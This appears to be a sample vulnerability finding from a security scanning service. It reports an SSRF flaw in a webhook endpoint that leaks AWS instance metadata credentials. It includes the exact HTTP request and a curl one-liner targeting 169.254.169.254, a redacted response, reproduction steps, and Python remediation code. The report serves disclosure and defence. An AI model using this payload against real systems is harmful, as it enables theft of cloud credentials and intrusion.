SSRF in webhook URL field exfiltrates cloud metadata credentials
POST /api/integrations/webhooks
description
The webhook configuration endpoint fetches the user-supplied URL server-side to deliver a verification ping. No URL validation is performed, so internal and link-local addresses are reachable from the application server. The endpoint reflects the response body to the caller, allowing exfiltration of IMDSv1 credentials, internal admin panels, and other intranet resources. We reproduced the bypass and retrieved a working set of temporary AWS credentials scoped to the `web-app-role` IAM role.
evidence
Request
POST /api/integrations/webhooks HTTP/1.1
Host: acme.dev
Authorization: Bearer <session-token>
Content-Type: application/json
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}
Response
HTTP/1.1 200 OK
Content-Type: application/json
{
"verification_response": "AccessKeyId: AKIA••••••••••••••••\nSecretAccessKey: wJal••••••••••••••••••••••••••••••••••••\nToken: IQoJb3Jp•••••••••\nExpiration: 2026-05-20T11:51:13Z"
}
PoC
curl -s -X POST https://acme.dev/api/integrations/webhooks -H 'Authorization: Bearer <session-token>' -H 'Content-Type: application/json' -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}'Credentials redacted in the sample. The live scan retrieved the full values and validated them against the cloud control plane (read-only call to STS GetCallerIdentity).
reproduction steps
- Authenticate to the API as any user.
- POST to /api/integrations/webhooks with body {"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}.
- Read the `verification_response` field. It contains the IMDSv1 credentials for the application's IAM role.
- Validate the credentials with `aws sts get-caller-identity` (read-only).
remediation
Allowlist outbound hosts and reject private/link-local ranges before fetching, resolve DNS once and connect by the resolved IP (defeats DNS rebinding), and require IMDSv2 (hop-limit 1) so a bare GET cannot read role credentials. Return a boolean success only; never reflect the upstream body.
python
import ipaddress, socket
def resolve_public(host: str) -> str:
ip = ipaddress.ip_address(socket.gethostbyname(host))
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise ValueError('blocked: non-public address')
return str(ip) # connect to this IP, not the hostnamerotate the credentials you provided.
we ran the scan with the credentials you supplied. treat them as compromised and rotate now.
couldn't reproduce this finding?
if it does not reproduce from the evidence above, you get back what this finding cost you: its credits for a credit unlock, or a cash refund for a finding bought through our earlier per-finding checkout. see how claims work, or email team@recon.sh with finding ID f1 and scan ID sample.